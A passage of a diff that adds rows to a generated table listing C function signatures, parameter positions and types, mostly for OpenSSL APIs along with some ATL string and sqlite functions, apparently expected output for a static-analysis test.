X509_STORE *) | | X509_STORE_get_check_issued | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_policy | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_check_revocation | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_cleanup | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_get_crl | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_get_issuer | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_lookup_certs | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_lookup_crls | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_verify | 0 | const X509_STORE * | +| (const X509_STORE *) | | X509_STORE_get_verify_cb | 0 | const X509_STORE * | +| (const X509_STORE *,int) | | X509_STORE_get_ex_data | 0 | const X509_STORE * | +| (const X509_STORE *,int) | | X509_STORE_get_ex_data | 1 | int | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_cert | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_chain | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_current_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_current_issuer | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_param | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_parent_ctx | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_policy_tree | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_rpk | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_store | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get0_untrusted | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get1_chain | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_cert_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_issued | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_policy | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_check_revocation | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_cleanup | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_current_cert | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_error | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_error_depth | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_explicit_policy | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_get_crl | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_get_issuer | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_lookup_certs | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_lookup_crls | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_num_untrusted | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_verify | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *) | | X509_STORE_CTX_get_verify_cb | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 0 | const X509_STORE_CTX * | +| (const X509_STORE_CTX *,int) | | X509_STORE_CTX_get_ex_data | 1 | int | +| (const X509_TRUST *) | | X509_TRUST_get0_name | 0 | const X509_TRUST * | +| (const X509_TRUST *) | | X509_TRUST_get_flags | 0 | const X509_TRUST * | +| (const X509_TRUST *) | | X509_TRUST_get_trust | 0 | const X509_TRUST * | +| (const X509_VAL *,unsigned char **) | | i2d_X509_VAL | 0 | const X509_VAL * | +| (const X509_VAL *,unsigned char **) | | i2d_X509_VAL | 1 | unsigned char ** | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get0_name | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get0_peername | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_auth_level | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_depth | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_flags | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_hostflags | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_inh_flags | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_purpose | 0 | const X509_VERIFY_PARAM * | +| (const X509_VERIFY_PARAM *) | | X509_VERIFY_PARAM_get_time | 0 | const X509_VERIFY_PARAM * | | (const XCHAR *) | CStringT | CStringT | 0 | const XCHAR * | | (const XCHAR *,int) | CStringT | CStringT | 0 | const XCHAR * | | (const XCHAR *,int) | CStringT | CStringT | 1 | int | @@ -773,28 +24967,1344 @@ getSignatureParameterName | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 0 | const XCHAR * | | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 1 | int | | (const XCHAR *,int,IAtlStringMgr *) | CSimpleStringT | CSimpleStringT | 2 | IAtlStringMgr * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 0 | const XTS128_CONTEXT * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 1 | const unsigned char[16] | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 2 | const unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 3 | unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 4 | size_t | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | CRYPTO_xts128_encrypt | 5 | int | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 0 | const XTS128_CONTEXT * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 1 | const unsigned char[16] | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 2 | const unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 3 | unsigned char * | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 4 | size_t | +| (const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int) | | ossl_crypto_xts128gb_encrypt | 5 | int | | (const YCHAR *) | CStringT | CStringT | 0 | const YCHAR * | | (const YCHAR *,int) | CStringT | CStringT | 0 | const YCHAR * | | (const YCHAR *,int) | CStringT | CStringT | 1 | int | | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 0 | const YCHAR * | | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 1 | int | | (const YCHAR *,int,IAtlStringMgr *) | CStringT | CStringT | 2 | IAtlStringMgr * | +| (const char *) | | BIO_gethostbyname | 0 | const char * | +| (const char *) | | Jim_StrDup | 0 | const char * | +| (const char *) | | OPENSSL_LH_strhash | 0 | const char * | +| (const char *) | | OSSL_STORE_SEARCH_by_alias | 0 | const char * | +| (const char *) | | Strsafe | 0 | const char * | +| (const char *) | | Symbol_new | 0 | const char * | +| (const char *) | | UI_create_method | 0 | const char * | +| (const char *) | | X509V3_parse_list | 0 | const char * | +| (const char *) | | X509_LOOKUP_meth_new | 0 | const char * | +| (const char *) | | a2i_IPADDRESS | 0 | const char * | +| (const char *) | | a2i_IPADDRESS_NC | 0 | const char * | +| (const char *) | | new_pkcs12_builder | 0 | const char * | +| (const char *) | | opt_path_end | 0 | const char * | +| (const char *) | | opt_progname | 0 | const char * | +| (const char *) | | ossl_lh_strcasehash | 0 | const char * | +| (const char *) | | strhash | 0 | const char * | +| (const char **) | | ERR_peek_error_func | 0 | const char ** | +| (const char **) | | ERR_peek_last_error_func | 0 | const char ** | +| (const char **,int *) | | ERR_get_error_line | 0 | const char ** | +| (const char **,int *) | | ERR_get_error_line | 1 | int * | +| (const char **,int *) | | ERR_peek_error_data | 0 | const char ** | +| (const char **,int *) | | ERR_peek_error_data | 1 | int * | +| (const char **,int *) | | ERR_peek_error_line | 0 | const char ** | +| (const char **,int *) | | ERR_peek_error_line | 1 | int * | +| (const char **,int *) | | ERR_peek_last_error_data | 0 | const char ** | +| (const char **,int *) | | ERR_peek_last_error_data | 1 | int * | +| (const char **,int *) | | ERR_peek_last_error_line | 0 | const char ** | +| (const char **,int *) | | ERR_peek_last_error_line | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 0 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 2 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 3 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_get_error_all | 4 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 0 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 2 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 3 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_error_all | 4 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 0 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 1 | int * | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 2 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 3 | const char ** | +| (const char **,int *,const char **,const char **,int *) | | ERR_peek_last_error_all | 4 | int * | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 0 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 1 | int * | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 2 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_get_error_line_data | 3 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 0 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 1 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 2 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_error_line_data | 3 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 0 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 1 | int * | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 2 | const char ** | +| (const char **,int *,const char **,int *) | | ERR_peek_last_error_line_data | 3 | int * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 0 | const char * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 1 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 2 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_CRL_load_http | 3 | int | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 0 | const char * | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 1 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 2 | BIO * | +| (const char *,BIO *,BIO *,int) | | X509_load_http | 3 | int | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 0 | const char * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 1 | BIO * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 2 | int | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 3 | const char * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 4 | const ASN1_ITEM * | +| (const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *) | | http_server_send_asn1_resp | 5 | const ASN1_VALUE * | +| (const char *,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_num_asc | 0 | const char * | +| (const char *,BIT_STRING_BITNAME *) | | ASN1_BIT_STRING_num_asc | 1 | BIT_STRING_BITNAME * | +| (const char *,DB_ATTR *) | | load_index | 0 | const char * | +| (const char *,DB_ATTR *) | | load_index | 1 | DB_ATTR * | +| (const char *,DES_cblock *) | | DES_string_to_key | 0 | const char * | +| (const char *,DES_cblock *) | | DES_string_to_key | 1 | DES_cblock * | +| (const char *,DES_cblock *,DES_cblock *) | | DES_string_to_2keys | 0 | const char * | +| (const char *,DES_cblock *,DES_cblock *) | | DES_string_to_2keys | 1 | DES_cblock * | +| (const char *,DES_cblock *,DES_cblock *) | | DES_string_to_2keys | 2 | DES_cblock * | +| (const char *,EVP_CIPHER **) | | opt_cipher_any | 0 | const char * | +| (const char *,EVP_CIPHER **) | | opt_cipher_any | 1 | EVP_CIPHER ** | +| (const char *,EVP_CIPHER **) | | opt_cipher_silent | 0 | const char * | +| (const char *,EVP_CIPHER **) | | opt_cipher_silent | 1 | EVP_CIPHER ** | +| (const char *,EVP_MD **) | | opt_md | 0 | const char * | +| (const char *,EVP_MD **) | | opt_md | 1 | EVP_MD ** | +| (const char *,EVP_MD **) | | opt_md_silent | 0 | const char * | +| (const char *,EVP_MD **) | | opt_md_silent | 1 | EVP_MD ** | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 0 | const char * | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 1 | OSSL_CMP_severity * | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 2 | char ** | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 3 | char ** | +| (const char *,OSSL_CMP_severity *,char **,char **,int *) | | ossl_cmp_log_parse_metadata | 4 | int * | +| (const char *,OSSL_LIB_CTX *) | | load_cert_pem | 0 | const char * | +| (const char *,OSSL_LIB_CTX *) | | load_cert_pem | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *) | | load_csr_der | 0 | const char * | +| (const char *,OSSL_LIB_CTX *) | | load_csr_der | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *) | | load_pkimsg | 0 | const char * | +| (const char *,OSSL_LIB_CTX *) | | load_pkimsg | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 0 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *,const char *) | | OSSL_CMP_MSG_read | 2 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 0 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 1 | OSSL_LIB_CTX * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 2 | const char * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 3 | const UI_METHOD * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 4 | void * | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 5 | const OSSL_PARAM[] | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 6 | OSSL_STORE_post_process_info_fn | +| (const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open_ex | 7 | void * | +| (const char *,SD *,int) | | sd_load | 0 | const char * | +| (const char *,SD *,int) | | sd_load | 1 | SD * | +| (const char *,SD *,int) | | sd_load | 2 | int | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 0 | const char * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 1 | X509 ** | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 2 | stack_st_X509 ** | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 3 | int | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 4 | const char * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 5 | const char * | +| (const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *) | | load_cert_certs | 6 | X509_VERIFY_PARAM * | +| (const char *,char *) | | sha1sum_file | 0 | const char * | +| (const char *,char *) | | sha1sum_file | 1 | char * | +| (const char *,char *) | | sha3sum_file | 0 | const char * | +| (const char *,char *) | | sha3sum_file | 1 | char * | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 0 | const char * | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 1 | char ** | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 2 | char ** | +| (const char *,char **,char **,BIO_hostserv_priorities) | | BIO_parse_hostserv | 3 | BIO_hostserv_priorities | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 0 | const char * | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 1 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 2 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 3 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 4 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 5 | int * | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 6 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 7 | char ** | +| (const char *,char **,char **,char **,char **,int *,char **,char **,char **) | | OSSL_parse_url | 8 | char ** | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 0 | const char * | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 1 | char ** | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 2 | int | +| (const char *,char **,int,unsigned long *) | | OPENSSL_strtoul | 3 | unsigned long * | +| (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 0 | const char * | +| (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 1 | char ** | +| (const char *,char **,size_t) | | OSSL_PARAM_construct_utf8_ptr | 2 | size_t | +| (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 0 | const char * | +| (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 1 | char * | +| (const char *,char *,size_t) | | OSSL_PARAM_construct_utf8_string | 2 | size_t | +| (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 0 | const char * | +| (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 1 | const ASN1_INTEGER * | +| (const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **) | | X509V3_add_value_int | 2 | stack_st_CONF_VALUE ** | +| (const char *,const BIGNUM *) | | test_output_bignum | 0 | const char * | +| (const char *,const BIGNUM *) | | test_output_bignum | 1 | const BIGNUM * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 0 | const char * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 1 | const ML_COMMON_PKCS8_FMT * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 2 | const char * | +| (const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *) | | ossl_ml_common_pkcs8_fmt_order | 3 | const char * | +| (const char *,const OPT_PAIR *,int *) | | opt_pair | 0 | const char * | +| (const char *,const OPT_PAIR *,int *) | | opt_pair | 1 | const OPT_PAIR * | +| (const char *,const OPT_PAIR *,int *) | | opt_pair | 2 | int * | +| (const char *,const OSSL_PARAM *,int) | | print_param_types | 0 | const char * | +| (const char *,const OSSL_PARAM *,int) | | print_param_types | 1 | const OSSL_PARAM * | +| (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | int | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 0 | const char * | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 1 | const UI_METHOD * | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 2 | void * | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 3 | OSSL_STORE_post_process_info_fn | +| (const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_open | 4 | void * | +| (const char *,const char *) | | Configcmp | 0 | const char * | +| (const char *,const char *) | | Configcmp | 1 | const char * | +| (const char *,const char *) | | DES_crypt | 0 | const char * | +| (const char *,const char *) | | DES_crypt | 1 | const char * | +| (const char *,const char *) | | OPENSSL_strcasecmp | 0 | const char * | +| (const char *,const char *) | | OPENSSL_strcasecmp | 1 | const char * | +| (const char *,const char *) | | get_passwd | 0 | const char * | +| (const char *,const char *) | | get_passwd | 1 | const char * | +| (const char *,const char *) | | openssl_fopen | 0 | const char * | +| (const char *,const char *) | | openssl_fopen | 1 | const char * | +| (const char *,const char *) | | ossl_pem_check_suffix | 0 | const char * | +| (const char *,const char *) | | ossl_pem_check_suffix | 1 | const char * | +| (const char *,const char *) | | ossl_v3_name_cmp | 0 | const char * | +| (const char *,const char *) | | ossl_v3_name_cmp | 1 | const char * | +| (const char *,const char *) | | sqlite3_strglob | 0 | const char * | +| (const char *,const char *) | | sqlite3_strglob | 1 | const char * | +| (const char *,const char *) | | sqlite3_stricmp | 0 | const char * | +| (const char *,const char *) | | sqlite3_stricmp | 1 | const char * | +| (const char *,const char *) | | test_mk_file_path | 0 | const char * | +| (const char *,const char *) | | test_mk_file_path | 1 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 0 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 1 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 2 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 3 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 4 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *) | | SRP_create_verifier_BN | 5 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 0 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 1 | const char * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 2 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 3 | BIGNUM ** | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 4 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 5 | const BIGNUM * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 6 | OSSL_LIB_CTX * | +| (const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *) | | SRP_create_verifier_BN_ex | 7 | const char * | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 0 | const char * | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 1 | const char * | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 2 | BIO_lookup_type | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 3 | int | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 4 | int | +| (const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **) | | BIO_lookup | 5 | BIO_ADDRINFO ** | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 0 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 1 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 2 | EVP_PKEY * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 3 | X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 4 | stack_st_X509 * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 5 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 6 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 7 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 8 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int) | | PKCS12_create | 9 | int | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 0 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *) | | PKCS12_create_ex | 1 | const char * | +| (const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX 